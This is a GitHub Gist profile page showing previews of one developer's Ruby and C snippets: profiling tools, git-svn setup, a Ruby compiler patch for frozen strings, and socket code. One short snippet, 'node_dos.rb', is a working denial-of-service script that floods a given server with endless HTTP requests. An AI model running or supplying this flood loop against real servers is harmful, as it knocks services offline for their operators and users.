Skip to content

Instantly share code, notes, and snippets.

View haileys's full-sized avatar

Hailey Somerville haileys

View GitHub Profile
def get_ids(ids)
$client.users(ids)
rescue Twitter::Error::NotFound => e
if ids.size == 1
[]
else
a, b = ids[0...ids.length / 2], ids[ids.length / 2..-1]
get_ids(a) + get_ids(b)
end
end
git clone [email protected]:ruby/ruby.git
cd ruby
git svn init svn+ssh://[email protected]/ruby/trunk
mv .git/refs/remotes/origin/trunk .git/refs/remotes/git-svn
git svn rebase
# done
#!/usr/bin/env ruby
require "./config/basic"
require "rblineprof"
#require "coderay"
req = File.expand_path(ARGV[0] || abort("Usage: lineprof.rb <file>"))
trace = File.expand_path(ARGV[1] || ARGV[0])
for file, (_, *lines) in lineprof(/./) { require(req) }
next unless file == trace
class String
prepend Module.new {
def initialize(*)
super
freeze
end
}
end
@haileys
haileys / 797.c
Last active December 27, 2015 08:39
#include <arpa/inet.h>
#include <errno.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
const char* response =
// this is currently broken
#define _GNU_SOURCE
#include <asm/unistd.h>
#include <errno.h>
#include <signal.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
require "socket"
require "uri"
url = URI.parse(ARGV.first || abort("Usage: node_dos.rb <url>"))
sock = TCPSocket.new(url.host, url.port)
loop do
sock.write "GET / HTTP/1.1\r\n\r\n"
end
class Session
attr_reader :session, :params
def initialize(session, params)
@session = session
@params = params
end
def login(email, password)
if account = Account.find_by_email(email)
diff --git a/compile.c b/compile.c
index 2285d28..02044f3 100644
--- a/compile.c
+++ b/compile.c
@@ -4311,6 +4311,13 @@ iseq_compile_each(rb_iseq_t *iseq, LINK_ANCHOR *ret, NODE * node, int poped)
break;
}
case NODE_CALL:
+ if (nd_type(node->nd_recv) == NODE_STR && node->nd_mid == idFreeze && node->nd_args == NULL) {
+ ADD_INSN1(ret, line, opt_str_freeze, rb_fstring(node->nd_recv->nd_lit));
~/ruby char-immediate-value ruby-2.0.0-github λ cat x.rb
str = "hello"
p [str[0], str[0].object_id]
p [str[1], str[1].object_id]
p [str[2], str[2].object_id]
~/ruby char-immediate-value ruby-2.0.0-github λ ./miniruby x.rb
["h", 26652]
["e", 25884]